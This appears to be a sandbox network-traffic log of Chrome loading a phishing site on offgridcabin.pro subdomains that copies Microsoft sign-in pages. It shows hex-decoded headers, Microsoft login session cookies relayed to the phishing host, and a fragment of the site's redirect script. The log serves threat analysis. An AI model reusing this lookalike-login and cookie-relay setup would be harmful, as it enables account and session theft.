2025-01-13 20:53:09 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:09 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:09 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:09 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:09 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 39 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:09 GMT
2025-01-13 20:53:09 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 35 36 45 45 36 41 38 32 37 35 36 0d 0a Data Ascii: Etag: 0x8DD156EE6A82756
2025-01-13 20:53:09 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 30 35 20 44 65 63 20 32 30 32 34 20 32 30 3a 35 33 3a 34 31 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 05 Dec 2024 20:53:41 GMT
2025-01-13 20:53:09 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49917	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:09 UTC	836	OUT	GET /Prefetch/Prefetch.aspx HTTP/1.1 Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:09 UTC	24	IN	HTTP/1.1 404 Not Found
2025-01-13 20:53:09 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:09 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:09 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-13 20:53:09 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 39 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:09 GMT
2025-01-13 20:53:09 UTC	100	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 73 2e 53 65 73 73 49 44 3d 64 36 31 31 66 38 33 37 2d 32 32 31 63 2d 34 30 30 30 2d 61 37 66 37 2d 32 66 38 33 66 34 64 61 61 32 34 33 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; Path=/; HttpOnly; Secure; SameSite=None
2025-01-13 20:53:09 UTC	100	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 73 2e 53 65 73 73 49 44 3d 64 36 31 31 66 38 33 37 2d 32 32 31 63 2d 34 30 30 30 2d 61 37 66 37 2d 32 66 38 33 66 34 64 61 61 32 34 33 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; Path=/; HttpOnly; Secure; SameSite=None
2025-01-13 20:53:09 UTC	76	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 70 6f 72 74 61 6c 2d 72 6f 75 74 65 6b 65 79 3d 77 75 73 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: x-portal-routekey=wus; Path=/; HttpOnly; Secure; SameSite=None
2025-01-13 20:53:09 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:09 UTC	25	IN	Data Raw: 58 2d 43 61 63 68 65 3a 20 43 4f 4e 46 49 47 5f 4e 4f 43 41 43 48 45 0d 0a Data Ascii: X-Cache: CONFIG_NOCACHE
2025-01-13 20:53:09 UTC	59	IN	Data Raw: 58 2d 4d 73 2d 43 6f 72 72 65 6c 61 74 69 6f 6e 2d 49 64 3a 20 62 64 66 36 31 35 36 32 2d 61 66 33 64 2d 34 37 62 63 2d 61 36 39 38 2d 34 66 61 62 64 66 36 39 35 36 31 33 0d 0a Data Ascii: X-Ms-Correlation-Id: bdf61562-af3d-47bc-a698-4fabdf695613

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49920	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:09 UTC	1508	OUT	GET /common/handlers/watson HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]
2025-01-13 20:53:09 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:09 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:09 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:09 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-13 20:53:09 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 38 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:08 GMT
2025-01-13 20:53:09 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-13 20:53:09 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-13 20:53:09 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:53:09 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-13 20:53:09 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-13 20:53:09 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49926	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:10 UTC	814	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1 Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; x-portal-routekey=wus
2025-01-13 20:53:10 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:10 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:10 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:10 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:53:10 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:10 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:10 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2025-01-13 20:53:10 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-13 20:53:10 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:10 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:53:10 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49932	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:10 UTC	542	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:11 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:11 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:11 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:11 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:11 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:11 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:11 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:11 GMT
2025-01-13 20:53:11 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 35 36 45 45 36 41 38 32 37 35 36 0d 0a Data Ascii: Etag: 0x8DD156EE6A82756
2025-01-13 20:53:11 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 30 35 20 44 65 63 20 32 30 32 34 20 32 30 3a 35 33 3a 34 31 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 05 Dec 2024 20:53:41 GMT
2025-01-13 20:53:11 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49933	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:10 UTC	788	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:11 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:11 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:11 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:11 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:11 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:11 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-13 20:53:11 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 31 31 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:11 GMT
2025-01-13 20:53:11 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 31 31 35 32 37 46 0d 0a Data Ascii: Etag: 0x8DB5C3F4911527F
2025-01-13 20:53:11 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2025-01-13 20:53:11 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49934	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:10 UTC	774	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:11 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:11 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:11 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
